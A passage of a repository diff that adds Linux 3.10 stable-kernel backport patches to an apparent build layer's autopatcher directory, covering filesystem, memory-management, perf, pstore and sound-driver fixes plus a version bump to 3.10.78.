+- /* Clear I_DIRTY_PAGES if we've written out all dirty pages */ +- if (!mapping_tagged(mapping, PAGECACHE_TAG_DIRTY)) +- inode->i_state &= ~I_DIRTY_PAGES; ++ + dirty = inode->i_state & I_DIRTY; +- inode->i_state &= ~(I_DIRTY_SYNC | I_DIRTY_DATASYNC); ++ inode->i_state &= ~I_DIRTY; ++ ++ /* ++ * Paired with smp_mb() in __mark_inode_dirty(). This allows ++ * __mark_inode_dirty() to test i_state without grabbing i_lock - ++ * either they see the I_DIRTY bits cleared or we see the dirtied ++ * inode. ++ * ++ * I_DIRTY_PAGES is always cleared together above even if @mapping ++ * still has dirty pages. The flag is reinstated after smp_mb() if ++ * necessary. This guarantees that either __mark_inode_dirty() ++ * sees clear I_DIRTY_PAGES or we see PAGECACHE_TAG_DIRTY. ++ */ ++ smp_mb(); ++ ++ if (mapping_tagged(mapping, PAGECACHE_TAG_DIRTY)) ++ inode->i_state |= I_DIRTY_PAGES; ++ + spin_unlock(&inode->i_lock); ++ + /* Don't write the inode if only I_DIRTY_PAGES was set */ + if (dirty & (I_DIRTY_SYNC | I_DIRTY_DATASYNC)) { + int err = write_inode(inode, wbc); +@@ -1146,12 +1162,11 @@ void __mark_inode_dirty(struct inode *inode, int flags) + } + + /* +- * make sure that changes are seen by all cpus before we test i_state +- * -- mikulas ++ * Paired with smp_mb() in __writeback_single_inode() for the ++ * following lockless i_state test. See there for details. + */ + smp_mb(); + +- /* avoid the locking if we can */ + if ((inode->i_state & flags) == flags) + return; + +diff --git a/fs/nfsd/nfs4state.c b/fs/nfsd/nfs4state.c +index 836307ae1f08..4a58afa99654 100644 +--- a/fs/nfsd/nfs4state.c ++++ b/fs/nfsd/nfs4state.c +@@ -1200,15 +1200,14 @@ static int copy_cred(struct svc_cred *target, struct svc_cred *source) + return 0; + } + +-static long long ++static int + compare_blob(const struct xdr_netobj *o1, const struct xdr_netobj *o2) + { +- long long res; +- +- res = o1->len - o2->len; +- if (res) +- return res; +- return (long long)memcmp(o1->data, o2->data, o1->len); ++ if (o1->len < o2->len) ++ return -1; ++ if (o1->len > o2->len) ++ return 1; ++ return memcmp(o1->data, o2->data, o1->len); + } + + static int same_name(const char *n1, const char *n2) +@@ -1365,7 +1364,7 @@ add_clp_to_name_tree(struct nfs4_client *new_clp, struct rb_root *root) + static struct nfs4_client * + find_clp_in_name_tree(struct xdr_netobj *name, struct rb_root *root) + { +- long long cmp; ++ int cmp; + struct rb_node *node = root->rb_node; + struct nfs4_client *clp; + +diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c +index 9b45f0666cfc..acf179d7615f 100644 +--- a/fs/nfsd/nfs4xdr.c ++++ b/fs/nfsd/nfs4xdr.c +@@ -1743,6 +1743,9 @@ static __be32 nfsd4_encode_components_esc(char sep, char *components, + } + else + end++; ++ if (found_esc) ++ end = next; ++ + str = end; + } + *pp = p; +diff --git a/fs/nilfs2/inode.c b/fs/nilfs2/inode.c +index 2e1372efbb00..587d699bdc2c 100644 +--- a/fs/nilfs2/inode.c ++++ b/fs/nilfs2/inode.c +@@ -49,6 +49,8 @@ struct nilfs_iget_args { + int for_gc; + }; + ++static int nilfs_iget_test(struct inode *inode, void *opaque); ++ + void nilfs_inode_add_blocks(struct inode *inode, int n) + { + struct nilfs_root *root = NILFS_I(inode)->i_root; +@@ -347,6 +349,17 @@ const struct address_space_operations nilfs_aops = { + .is_partially_uptodate = block_is_partially_uptodate, + }; + ++static int nilfs_insert_inode_locked(struct inode *inode, ++ struct nilfs_root *root, ++ unsigned long ino) ++{ ++ struct nilfs_iget_args args = { ++ .ino = ino, .root = root, .cno = 0, .for_gc = 0 ++ }; ++ ++ return insert_inode_locked4(inode, ino, nilfs_iget_test, &args); ++} ++ + struct inode *nilfs_new_inode(struct inode *dir, umode_t mode) + { + struct super_block *sb = dir->i_sb; +@@ -382,7 +395,7 @@ struct inode *nilfs_new_inode(struct inode *dir, umode_t mode) + if (S_ISREG(mode) || S_ISDIR(mode) || S_ISLNK(mode)) { + err = nilfs_bmap_read(ii->i_bmap, NULL); + if (err < 0) +- goto failed_bmap; ++ goto failed_after_creation; + + set_bit(NILFS_I_BMAP, &ii->i_state); + /* No lock is needed; iget() ensures it. */ +@@ -398,21 +411,24 @@ struct inode *nilfs_new_inode(struct inode *dir, umode_t mode) + spin_lock(&nilfs->ns_next_gen_lock); + inode->i_generation = nilfs->ns_next_generation++; + spin_unlock(&nilfs->ns_next_gen_lock); +- insert_inode_hash(inode); ++ if (nilfs_insert_inode_locked(inode, root, ino) < 0) { ++ err = -EIO; ++ goto failed_after_creation; ++ } + + err = nilfs_init_acl(inode, dir); + if (unlikely(err)) +- goto failed_acl; /* never occur. When supporting ++ goto failed_after_creation; /* never occur. When supporting + nilfs_init_acl(), proper cancellation of + above jobs should be considered */ + + return inode; + +- failed_acl: +- failed_bmap: ++ failed_after_creation: + clear_nlink(inode); ++ unlock_new_inode(inode); + iput(inode); /* raw_inode will be deleted through +- generic_delete_inode() */ ++ nilfs_evict_inode() */ + goto failed; + + failed_ifile_create_inode: +@@ -460,8 +476,8 @@ int nilfs_read_inode_common(struct inode *inode, + inode->i_atime.tv_nsec = le32_to_cpu(raw_inode->i_mtime_nsec); + inode->i_ctime.tv_nsec = le32_to_cpu(raw_inode->i_ctime_nsec); + inode->i_mtime.tv_nsec = le32_to_cpu(raw_inode->i_mtime_nsec); +- if (inode->i_nlink == 0 && inode->i_mode == 0) +- return -EINVAL; /* this inode is deleted */ ++ if (inode->i_nlink == 0) ++ return -ESTALE; /* this inode is deleted */ + + inode->i_blocks = le64_to_cpu(raw_inode->i_blocks); + ii->i_flags = le32_to_cpu(raw_inode->i_flags); +diff --git a/fs/nilfs2/namei.c b/fs/nilfs2/namei.c +index 9de78f08989e..0f84b257932c 100644 +--- a/fs/nilfs2/namei.c ++++ b/fs/nilfs2/namei.c +@@ -51,9 +51,11 @@ static inline int nilfs_add_nondir(struct dentry *dentry, struct inode *inode) + int err = nilfs_add_link(dentry, inode); + if (!err) { + d_instantiate(dentry, inode); ++ unlock_new_inode(inode); + return 0; + } + inode_dec_link_count(inode); ++ unlock_new_inode(inode); + iput(inode); + return err; + } +@@ -182,6 +184,7 @@ out: + out_fail: + drop_nlink(inode); + nilfs_mark_inode_dirty(inode); ++ unlock_new_inode(inode); + iput(inode); + goto out; + } +@@ -201,11 +204,15 @@ static int nilfs_link(struct dentry *old_dentry, struct inode *dir, + inode_inc_link_count(inode); + ihold(inode); + +- err = nilfs_add_nondir(dentry, inode); +- if (!err) ++ err = nilfs_add_link(dentry, inode); ++ if (!err) { ++ d_instantiate(dentry, inode); + err = nilfs_transaction_commit(dir->i_sb); +- else ++ } else { ++ inode_dec_link_count(inode); ++ iput(inode); + nilfs_transaction_abort(dir->i_sb); ++ } + + return err; + } +@@ -243,6 +250,7 @@ static int nilfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) + + nilfs_mark_inode_dirty(inode); + d_instantiate(dentry, inode); ++ unlock_new_inode(inode); + out: + if (!err) + err = nilfs_transaction_commit(dir->i_sb); +@@ -255,6 +263,7 @@ out_fail: + drop_nlink(inode); + drop_nlink(inode); + nilfs_mark_inode_dirty(inode); ++ unlock_new_inode(inode); + iput(inode); + out_dir: + drop_nlink(dir); +diff --git a/fs/ocfs2/aops.c b/fs/ocfs2/aops.c +index 20dfec72e903..f998c6009ad4 100644 +--- a/fs/ocfs2/aops.c ++++ b/fs/ocfs2/aops.c +@@ -917,7 +917,7 @@ void ocfs2_unlock_and_free_pages(struct page **pages, int num_pages) + } + } + +-static void ocfs2_free_write_ctxt(struct ocfs2_write_ctxt *wc) ++static void ocfs2_unlock_pages(struct ocfs2_write_ctxt *wc) + { + int i; + +@@ -938,7 +938,11 @@ static void ocfs2_free_write_ctxt(struct ocfs2_write_ctxt *wc) + page_cache_release(wc->w_target_page); + } + ocfs2_unlock_and_free_pages(wc->w_pages, wc->w_num_pages); ++} + ++static void ocfs2_free_write_ctxt(struct ocfs2_write_ctxt *wc) ++{ ++ ocfs2_unlock_pages(wc); + brelse(wc->w_di_bh); + kfree(wc); + } +@@ -2060,11 +2064,19 @@ out_write_size: + di->i_mtime_nsec = di->i_ctime_nsec = cpu_to_le32(inode->i_mtime.tv_nsec); + ocfs2_journal_dirty(handle, wc->w_di_bh); + ++ /* unlock pages before dealloc since it needs acquiring j_trans_barrier ++ * lock, or it will cause a deadlock since journal commit threads holds ++ * this lock and will ask for the page lock when flushing the data. ++ * put it here to preserve the unlock order. ++ */ ++ ocfs2_unlock_pages(wc); ++ + ocfs2_commit_trans(osb, handle); + + ocfs2_run_deallocs(osb, &wc->w_dealloc); + +- ocfs2_free_write_ctxt(wc); ++ brelse(wc->w_di_bh); ++ kfree(wc); + + return copied; + } +diff --git a/fs/pstore/ram.c b/fs/pstore/ram.c +index 1376e5a8f0d6..42d5911c7e29 100644 +--- a/fs/pstore/ram.c ++++ b/fs/pstore/ram.c +@@ -61,6 +61,11 @@ module_param(mem_size, ulong, 0400); + MODULE_PARM_DESC(mem_size, + "size of reserved RAM used to store oops/panic logs"); + ++static unsigned int mem_type; ++module_param(mem_type, uint, 0600); ++MODULE_PARM_DESC(mem_type, ++ "set to 1 to try to use unbuffered memory (default 0)"); ++ + static int dump_oops = 1; + module_param(dump_oops, int, 0600); + MODULE_PARM_DESC(dump_oops, +@@ -79,6 +84,7 @@ struct ramoops_context { + struct persistent_ram_zone *fprz; + phys_addr_t phys_addr; + unsigned long size; ++ unsigned int memtype; + size_t record_size; + size_t console_size; + size_t ftrace_size; +@@ -331,7 +337,8 @@ static int ramoops_init_przs(struct device *dev, struct ramoops_context *cxt, + size_t sz = cxt->record_size; + + cxt->przs[i] = persistent_ram_new(*paddr, sz, 0, +- &cxt->ecc_info); ++ &cxt->ecc_info, ++ cxt->memtype); + if (IS_ERR(cxt->przs[i])) { + err = PTR_ERR(cxt->przs[i]); + dev_err(dev, "failed to request mem region (0x%zx@0x%llx): %d\n", +@@ -361,7 +368,7 @@ static int ramoops_init_prz(struct device *dev, struct ramoops_context *cxt, + return -ENOMEM; + } + +- *prz = persistent_ram_new(*paddr, sz, sig, &cxt->ecc_info); ++ *prz = persistent_ram_new(*paddr, sz, sig, &cxt->ecc_info, cxt->memtype); + if (IS_ERR(*prz)) { + int err = PTR_ERR(*prz); + +@@ -411,6 +418,7 @@ static int ramoops_probe(struct platform_device *pdev) + cxt->dump_read_cnt = 0; + cxt->size = pdata->mem_size; + cxt->phys_addr = pdata->mem_address; ++ cxt->memtype = pdata->mem_type; + cxt->record_size = pdata->record_size; + cxt->console_size = pdata->console_size; + cxt->ftrace_size = pdata->ftrace_size; +@@ -541,6 +549,7 @@ static void ramoops_register_dummy(void) + + dummy_data->mem_size = mem_size; + dummy_data->mem_address = mem_address; ++ dummy_data->mem_type = 0; + dummy_data->record_size = record_size; + dummy_data->console_size = ramoops_console_size; + dummy_data->ftrace_size = ramoops_ftrace_size; +diff --git a/fs/pstore/ram_core.c b/fs/pstore/ram_core.c +index 59337326e288..6ff97553331b 100644 +--- a/fs/pstore/ram_core.c ++++ b/fs/pstore/ram_core.c +@@ -333,7 +333,8 @@ void persistent_ram_zap(struct persistent_ram_zone *prz) + persistent_ram_update_header_ecc(prz); + } + +-static void *persistent_ram_vmap(phys_addr_t start, size_t size) ++static void *persistent_ram_vmap(phys_addr_t start, size_t size, ++ unsigned int memtype) + { + struct page **pages; + phys_addr_t page_start; +@@ -345,7 +346,10 @@ static void *persistent_ram_vmap(phys_addr_t start, size_t size) + page_start = start - offset_in_page(start); + page_count = DIV_ROUND_UP(size + offset_in_page(start), PAGE_SIZE); + +- prot = pgprot_noncached(PAGE_KERNEL); ++ if (memtype) ++ prot = pgprot_noncached(PAGE_KERNEL); ++ else ++ prot = pgprot_writecombine(PAGE_KERNEL); + + pages = kmalloc(sizeof(struct page *) * page_count, GFP_KERNEL); + if (!pages) { +@@ -364,27 +368,35 @@ static void *persistent_ram_vmap(phys_addr_t start, size_t size) + return vaddr; + } + +-static void *persistent_ram_iomap(phys_addr_t start, size_t size) ++static void *persistent_ram_iomap(phys_addr_t start, size_t size, ++ unsigned int memtype) + { ++ void *va; ++ + if (!request_mem_region(start, size, "persistent_ram")) { + pr_err("request mem region (0x%llx@0x%llx) failed\n", + (unsigned long long)size, (unsigned long long)start); + return NULL; + } + +- return ioremap(start, size); ++ if (memtype) ++ va = ioremap(start, size); ++ else ++ va = ioremap_wc(start, size); ++ ++ return va; + } + + static int persistent_ram_buffer_map(phys_addr_t start, phys_addr_t size, +- struct persistent_ram_zone *prz) ++ struct persistent_ram_zone *prz, int memtype) + { + prz->paddr = start; + prz->size = size; + + if (pfn_valid(start >> PAGE_SHIFT)) +- prz->vaddr = persistent_ram_vmap(start, size); ++ prz->vaddr = persistent_ram_vmap(start, size, memtype); + else +- prz->vaddr = persistent_ram_iomap(start, size); ++ prz->vaddr = persistent_ram_iomap(start, size, memtype); + + if (!prz->vaddr) { + pr_err("%s: Failed to map 0x%llx pages at 0x%llx\n", __func__, +@@ -452,7 +464,8 @@ void persistent_ram_free(struct persistent_ram_zone *prz) + } + + struct persistent_ram_zone *persistent_ram_new(phys_addr_t start, size_t size, +- u32 sig, struct persistent_ram_ecc_info *ecc_info) ++ u32 sig, struct persistent_ram_ecc_info *ecc_info, ++ unsigned int memtype) + { + struct persistent_ram_zone *prz; + int ret = -ENOMEM; +@@ -463,7 +476,7 @@ struct persistent_ram_zone *persistent_ram_new(phys_addr_t start, size_t size, + goto err; + } + +- ret = persistent_ram_buffer_map(start, size, prz); ++ ret = persistent_ram_buffer_map(start, size, prz, memtype); + if (ret) + goto err; + +diff --git a/include/linux/mm.h b/include/linux/mm.h +index d4cdac903468..c4085192c2b6 100644 +--- a/include/linux/mm.h ++++ b/include/linux/mm.h +@@ -1630,7 +1630,7 @@ extern int expand_downwards(struct vm_area_struct *vma, + #if VM_GROWSUP + extern int expand_upwards(struct vm_area_struct *vma, unsigned long address); + #else +- #define expand_upwards(vma, address) do { } while (0) ++ #define expand_upwards(vma, address) (0) + #endif + + /* Look up the first VMA which satisfies addr < vm_end, NULL if none. */ +diff --git a/include/linux/pstore_ram.h b/include/linux/pstore_ram.h +index 9974975d40db..4af3fdc85b01 100644 +--- a/include/linux/pstore_ram.h ++++ b/include/linux/pstore_ram.h +@@ -53,7 +53,8 @@ struct persistent_ram_zone { + }; + + struct persistent_ram_zone *persistent_ram_new(phys_addr_t start, size_t size, +- u32 sig, struct persistent_ram_ecc_info *ecc_info); ++ u32 sig, struct persistent_ram_ecc_info *ecc_info, ++ unsigned int memtype); + void persistent_ram_free(struct persistent_ram_zone *prz); + void persistent_ram_zap(struct persistent_ram_zone *prz); + +@@ -76,6 +77,7 @@ ssize_t persistent_ram_ecc_string(struct persistent_ram_zone *prz, + struct ramoops_platform_data { + unsigned long mem_size; + unsigned long mem_address; ++ unsigned int mem_type; + unsigned long record_size; + unsigned long console_size; + unsigned long ftrace_size; +diff --git a/kernel/events/core.c b/kernel/events/core.c +index 3f63ea6464ca..7bf4d519c20f 100644 +--- a/kernel/events/core.c ++++ b/kernel/events/core.c +@@ -6887,11 +6887,11 @@ SYSCALL_DEFINE5(perf_event_open, + + if (move_group) { + synchronize_rcu(); +- perf_install_in_context(ctx, group_leader, event->cpu); ++ perf_install_in_context(ctx, group_leader, group_leader->cpu); + get_ctx(ctx); + list_for_each_entry(sibling, &group_leader->sibling_list, + group_entry) { +- perf_install_in_context(ctx, sibling, event->cpu); ++ perf_install_in_context(ctx, sibling, sibling->cpu); + get_ctx(ctx); + } + } +diff --git a/mm/memory.c b/mm/memory.c +index 0926ccd04d7a..8b2d75f61b32 100644 +--- a/mm/memory.c ++++ b/mm/memory.c +@@ -3200,7 +3200,7 @@ static inline int check_stack_guard_page(struct vm_area_struct *vma, unsigned lo + if (prev && prev->vm_end == address) + return prev->vm_flags & VM_GROWSDOWN ? 0 : -ENOMEM; + +- expand_downwards(vma, address - PAGE_SIZE); ++ return expand_downwards(vma, address - PAGE_SIZE); + } + if ((vma->vm_flags & VM_GROWSUP) && address + PAGE_SIZE == vma->vm_end) { + struct vm_area_struct *next = vma->vm_next; +@@ -3209,7 +3209,7 @@ static inline int check_stack_guard_page(struct vm_area_struct *vma, unsigned lo + if (next && next->vm_start == address + PAGE_SIZE) + return next->vm_flags & VM_GROWSUP ? 0 : -ENOMEM; + +- expand_upwards(vma, address + PAGE_SIZE); ++ return expand_upwards(vma, address + PAGE_SIZE); + } + return 0; + } +diff --git a/mm/mmap.c b/mm/mmap.c +index 8f87b14c7968..43a7089c6a7c 100644 +--- a/mm/mmap.c ++++ b/mm/mmap.c +@@ -2056,14 +2056,17 @@ static int acct_stack_growth(struct vm_area_struct *vma, unsigned long size, uns + { + struct mm_struct *mm = vma->vm_mm; + struct rlimit *rlim = current->signal->rlim; +- unsigned long new_start; ++ unsigned long new_start, actual_size; + + /* address space limit tests */ + if (!may_expand_vm(mm, grow)) + return -ENOMEM; + + /* Stack limit test */ +- if (size > ACCESS_ONCE(rlim[RLIMIT_STACK].rlim_cur)) ++ actual_size = size; ++ if (size && (vma->vm_flags & (VM_GROWSUP | VM_GROWSDOWN))) ++ actual_size -= PAGE_SIZE; ++ if (actual_size > ACCESS_ONCE(rlim[RLIMIT_STACK].rlim_cur)) + return -ENOMEM; + + /* mlock limit tests */ +diff --git a/mm/vmscan.c b/mm/vmscan.c +index 4e89500391dc..a2fd7e759cb7 100644 +--- a/mm/vmscan.c ++++ b/mm/vmscan.c +@@ -2631,18 +2631,20 @@ static bool prepare_kswapd_sleep(pg_data_t *pgdat, int order, long remaining, + return false; + + /* +- * There is a potential race between when kswapd checks its watermarks +- * and a process gets throttled. There is also a potential race if +- * processes get throttled, kswapd wakes, a large process exits therby +- * balancing the zones that causes kswapd to miss a wakeup. If kswapd +- * is going to sleep, no process should be sleeping on pfmemalloc_wait +- * so wake them now if necessary. If necessary, processes will wake +- * kswapd and get throttled again ++ * The throttled processes are normally woken up in balance_pgdat() as ++ * soon as pfmemalloc_watermark_ok() is true. But there is a potential ++ * race between when kswapd checks the watermarks and a process gets ++ * throttled. There is also a potential race if processes get ++ * throttled, kswapd wakes, a large process exits thereby balancing the ++ * zones, which causes kswapd to exit balance_pgdat() before reaching ++ * the wake up checks. If kswapd is going to sleep, no process should ++ * be sleeping on pfmemalloc_wait, so wake them now if necessary. If ++ * the wake up is premature, processes will wake kswapd and get ++ * throttled again. The difference from wake ups in balance_pgdat() is ++ * that here we are under prepare_to_wait(). + */ +- if (waitqueue_active(&pgdat->pfmemalloc_wait)) { +- wake_up(&pgdat->pfmemalloc_wait); +- return false; +- } ++ if (waitqueue_active(&pgdat->pfmemalloc_wait)) ++ wake_up_all(&pgdat->pfmemalloc_wait); + + return pgdat_balanced(pgdat, order, classzone_idx); + } +diff --git a/scripts/kernel-doc b/scripts/kernel-doc +index 4305b2f2ec5e..8c0e07b7a70b 100755 +--- a/scripts/kernel-doc ++++ b/scripts/kernel-doc +@@ -1750,7 +1750,7 @@ sub dump_struct($$) { + # strip kmemcheck_bitfield_{begin,end}.*; + $members =~ s/kmemcheck_bitfield_.*?;//gos; + # strip attributes +- $members =~ s/__aligned\s*\(.+\)//gos; ++ $members =~ s/__aligned\s*\([^;]*\)//gos; + + create_parameterlist($members, ';', $file); + check_sections($file, $declaration_name, "struct", $sectcheck, $struct_actual, $nested); +diff --git a/sound/pci/hda/hda_codec.c b/sound/pci/hda/hda_codec.c +index aeefec74a061..83a0f9b4452b 100644 +--- a/sound/pci/hda/hda_codec.c ++++ b/sound/pci/hda/hda_codec.c +@@ -327,8 +327,10 @@ int snd_hda_get_sub_nodes(struct hda_codec *codec, hda_nid_t nid, + unsigned int parm; + + parm = snd_hda_param_read(codec, nid, AC_PAR_NODE_COUNT); +- if (parm == -1) ++ if (parm == -1) { ++ *start_id = 0; + return 0; ++ } + *start_id = (parm >> 16) & 0x7fff; + return (int)(parm & 0x7fff); + } +diff --git a/sound/pci/hda/patch_sigmatel.c b/sound/pci/hda/patch_sigmatel.c +index 5dd4c4af9c9f..4ae5767a2cf5 100644 +--- a/sound/pci/hda/patch_sigmatel.c ++++ b/sound/pci/hda/patch_sigmatel.c +@@ -573,9 +573,9 @@ static void stac_store_hints(struct hda_codec *codec) + spec->gpio_mask; + } + if (get_int_hint(codec, "gpio_dir", &spec->gpio_dir)) +- spec->gpio_mask &= spec->gpio_mask; +- if (get_int_hint(codec, "gpio_data", &spec->gpio_data)) + spec->gpio_dir &= spec->gpio_mask; ++ if (get_int_hint(codec, "gpio_data", &spec->gpio_data)) ++ spec->gpio_data &= spec->gpio_mask; + if (get_int_hint(codec, "eapd_mask", &spec->eapd_mask)) + spec->eapd_mask &= spec->gpio_mask; + if (get_int_hint(codec, "gpio_mute", &spec->gpio_mute)) +diff --git a/sound/soc/codecs/max98090.c b/sound/soc/codecs/max98090.c +index 76bfeb3c3e30..be8de7ce1cda 100644 +--- a/sound/soc/codecs/max98090.c ++++ b/sound/soc/codecs/max98090.c +@@ -1364,8 +1364,8 @@ static const struct snd_soc_dapm_route max98090_dapm_routes[] = { + {"STENL Mux", "Sidetone Left", "DMICL"}, + {"STENR Mux", "Sidetone Right", "ADCR"}, + {"STENR Mux", "Sidetone Right", "DMICR"}, +- {"DACL", "NULL", "STENL Mux"}, +- {"DACR", "NULL", "STENL Mux"}, ++ {"DACL", NULL, "STENL Mux"}, ++ {"DACR", NULL, "STENL Mux"}, + + {"AIFINL", NULL, "SHDN"}, + {"AIFINR", NULL, "SHDN"}, +diff --git a/sound/soc/codecs/sigmadsp.c b/sound/soc/codecs/sigmadsp.c +index 4068f2491232..bb3878c9625f 100644 +--- a/sound/soc/codecs/sigmadsp.c ++++ b/sound/soc/codecs/sigmadsp.c +@@ -176,6 +176,13 @@ static int _process_sigma_firmware(struct device *dev, + goto done; + } + ++ if (ssfw_head->version != 1) { ++ dev_err(dev, ++ "Failed to load firmware: Invalid version %d. Supported firmware versions: 1\n", ++ ssfw_head->version); ++ goto done; ++ } ++ + crc = crc32(0, fw->data + sizeof(*ssfw_head), + fw->size - sizeof(*ssfw_head)); + pr_debug("%s: crc=%x\n", __func__, crc); +diff --git a/sound/soc/dwc/designware_i2s.c b/sound/soc/dwc/designware_i2s.c +index 593a3ea12d4c..489a9abf112b 100644 +--- a/sound/soc/dwc/designware_i2s.c ++++ b/sound/soc/dwc/designware_i2s.c +@@ -263,6 +263,19 @@ static void dw_i2s_shutdown(struct snd_pcm_substream *substream, + snd_soc_dai_set_dma_data(dai, substream, NULL); + } + ++static int dw_i2s_prepare(struct snd_pcm_substream *substream, ++ struct snd_soc_dai *dai) ++{ ++ struct dw_i2s_dev *dev = snd_soc_dai_get_drvdata(dai); ++ ++ if (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) ++ i2s_write_reg(dev->i2s_base, TXFFR, 1); ++ else ++ i2s_write_reg(dev->i2s_base, RXFFR, 1); ++ ++ return 0; ++} ++ + static int dw_i2s_trigger(struct snd_pcm_substream *substream, + int cmd, struct snd_soc_dai *dai) + { +@@ -294,6 +307,7 @@ static struct snd_soc_dai_ops dw_i2s_dai_ops = { + .startup = dw_i2s_startup, + .shutdown = dw_i2s_shutdown, + .hw_params = dw_i2s_hw_params, ++ .prepare = dw_i2s_prepare, + .trigger = dw_i2s_trigger, + }; + +diff --git a/sound/usb/mixer_maps.c b/sound/usb/mixer_maps.c +index 0339d464791a..4df31b0f94a3 100644 +--- a/sound/usb/mixer_maps.c ++++ b/sound/usb/mixer_maps.c +@@ -322,8 +322,11 @@ static struct usbmix_name_map hercules_usb51_map[] = { + { 0 } /* terminator */ + }; + +-static const struct usbmix_name_map kef_x300a_map[] = { +- { 10, NULL }, /* firmware locks up (?) when we try to access this FU */ ++/* some (all?) SCMS USB3318 devices are affected by a firmware lock up ++ * when anything attempts to access FU 10 (control) ++ */ ++static const struct usbmix_name_map scms_usb3318_map[] = { ++ { 10, NULL }, + { 0 } + }; + +@@ -415,8 +418,14 @@ static struct usbmix_ctl_map usbmix_ctl_maps[] = { + .map = ebox44_map, + }, + { ++ /* KEF X300A */ + .id = USB_ID(0x27ac, 0x1000), +- .map = kef_x300a_map, ++ .map = scms_usb3318_map, ++ }, ++ { ++ /* Arcam rPAC */ ++ .id = USB_ID(0x25c4, 0x0003), ++ .map = scms_usb3318_map, + }, + { 0 } /* terminator */ + }; +diff --git a/tools/perf/util/hist.h b/tools/perf/util/hist.h +index 14c2fe20aa62..20764e01df16 100644 +--- a/tools/perf/util/hist.h ++++ b/tools/perf/util/hist.h +@@ -34,6 +34,7 @@ struct events_stats { + u32 nr_invalid_chains; + u32 nr_unknown_id; + u32 nr_unprocessable_samples; ++ u32 nr_unordered_events; + }; + + enum hist_column { +diff --git a/tools/perf/util/session.c b/tools/perf/util/session.c +index e392202b96bc..6f593a704ea5 100644 +--- a/tools/perf/util/session.c ++++ b/tools/perf/util/session.c +@@ -656,8 +656,7 @@ static int perf_session_queue_event(struct perf_session *s, union perf_event *ev + return -ETIME; + + if (timestamp < s->ordered_samples.last_flush) { +- printf("Warning: Timestamp below last timeslice flush\n"); +- return -EINVAL; ++ s->stats.nr_unordered_events++; + } + + if (!list_empty(sc)) { +@@ -1057,6 +1056,8 @@ static void perf_session__warn_about_errors(const struct perf_session *session, + "Do you have a KVM guest running and not using 'perf kvm'?\n", + session->stats.nr_unprocessable_samples); + } ++ if (session->stats.nr_unordered_events != 0) ++ ui__warning("%u out of order events recorded.\n", session->stats.nr_unordered_events); + } + + #define session_done() (*(volatile int *)(&session_done)) diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0002.diff b/recipes-kernel/linux/linux-bass/autopatcher/0002.diff new file mode 100644 index 0000000..9646397 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0002.diff @@ -0,0 +1,1032 @@ +diff --git a/Makefile b/Makefile +index 923ad8a64e3b..cf99a9b53c6f 100644 +--- a/Makefile ++++ b/Makefile +@@ -1,6 +1,6 @@ + VERSION = 3 + PATCHLEVEL = 10 +-SUBLEVEL = 77 ++SUBLEVEL = 78 + EXTRAVERSION = + NAME = TOSSUG Baby Fish + +diff --git a/arch/arc/kernel/signal.c b/arch/arc/kernel/signal.c +index 7e95e1a86510..6763654239a2 100644 +--- a/arch/arc/kernel/signal.c ++++ b/arch/arc/kernel/signal.c +@@ -131,6 +131,15 @@ SYSCALL_DEFINE0(rt_sigreturn) + /* Don't restart from sigreturn */ + syscall_wont_restart(regs); + ++ /* ++ * Ensure that sigreturn always returns to user mode (in case the ++ * regs saved on user stack got fudged between save and sigreturn) ++ * Otherwise it is easy to panic the kernel with a custom ++ * signal handler and/or restorer which clobberes the status32/ret ++ * to return to a bogus location in kernel mode. ++ */ ++ regs->status32 |= STATUS_U_MASK; ++ + return regs->r0; + + badframe: +@@ -234,8 +243,11 @@ setup_rt_frame(int signo, struct k_sigaction *ka, siginfo_t *info, + + /* + * handler returns using sigreturn stub provided already by userpsace ++ * If not, nuke the process right away + */ +- BUG_ON(!(ka->sa.sa_flags & SA_RESTORER)); ++ if(!(ka->sa.sa_flags & SA_RESTORER)) ++ return 1; ++ + regs->blink = (unsigned long)ka->sa.sa_restorer; + + /* User Stack for signal handler will be above the frame just carved */ +@@ -302,12 +314,12 @@ handle_signal(unsigned long sig, struct k_sigaction *ka, siginfo_t *info, + struct pt_regs *regs) + { + sigset_t *oldset = sigmask_to_save(); +- int ret; ++ int failed; + + /* Set up the stack frame */ +- ret = setup_rt_frame(sig, ka, info, oldset, regs); ++ failed = setup_rt_frame(sig, ka, info, oldset, regs); + +- if (ret) ++ if (failed) + force_sigsegv(sig, current); + else + signal_delivered(sig, info, ka, regs, 0); +diff --git a/arch/arm/boot/dts/dove.dtsi b/arch/arm/boot/dts/dove.dtsi +index 6cab46849cdb..d1e47092d21a 100644 +--- a/arch/arm/boot/dts/dove.dtsi ++++ b/arch/arm/boot/dts/dove.dtsi +@@ -75,7 +75,7 @@ + + uart2: serial@12200 { + compatible = "ns16550a"; +- reg = <0x12000 0x100>; ++ reg = <0x12200 0x100>; + reg-shift = <2>; + interrupts = <9>; + clocks = <&core_clk 0>; +@@ -84,7 +84,7 @@ + + uart3: serial@12300 { + compatible = "ns16550a"; +- reg = <0x12100 0x100>; ++ reg = <0x12300 0x100>; + reg-shift = <2>; + interrupts = <10>; + clocks = <&core_clk 0>; +diff --git a/drivers/block/rbd.c b/drivers/block/rbd.c +index 7e3f45105f11..dd297099c99d 100644 +--- a/drivers/block/rbd.c ++++ b/drivers/block/rbd.c +@@ -2115,6 +2115,11 @@ static bool rbd_img_obj_end_request(struct rbd_obj_request *obj_request) + result, xferred); + if (!img_request->result) + img_request->result = result; ++ /* ++ * Need to end I/O on the entire obj_request worth of ++ * bytes in case of error. ++ */ ++ xferred = obj_request->length; + } + + /* Image object requests don't own their page array */ +diff --git a/drivers/hv/channel_mgmt.c b/drivers/hv/channel_mgmt.c +index 21ef68934a20..edf8995cb3b3 100644 +--- a/drivers/hv/channel_mgmt.c ++++ b/drivers/hv/channel_mgmt.c +@@ -648,7 +648,7 @@ int vmbus_request_offers(void) + { + struct vmbus_channel_message_header *msg; + struct vmbus_channel_msginfo *msginfo; +- int ret, t; ++ int ret; + + msginfo = kmalloc(sizeof(*msginfo) + + sizeof(struct vmbus_channel_message_header), +@@ -656,8 +656,6 @@ int vmbus_request_offers(void) + if (!msginfo) + return -ENOMEM; + +- init_completion(&msginfo->waitevent); +- + msg = (struct vmbus_channel_message_header *)msginfo->msg; + + msg->msgtype = CHANNELMSG_REQUESTOFFERS; +@@ -671,14 +669,6 @@ int 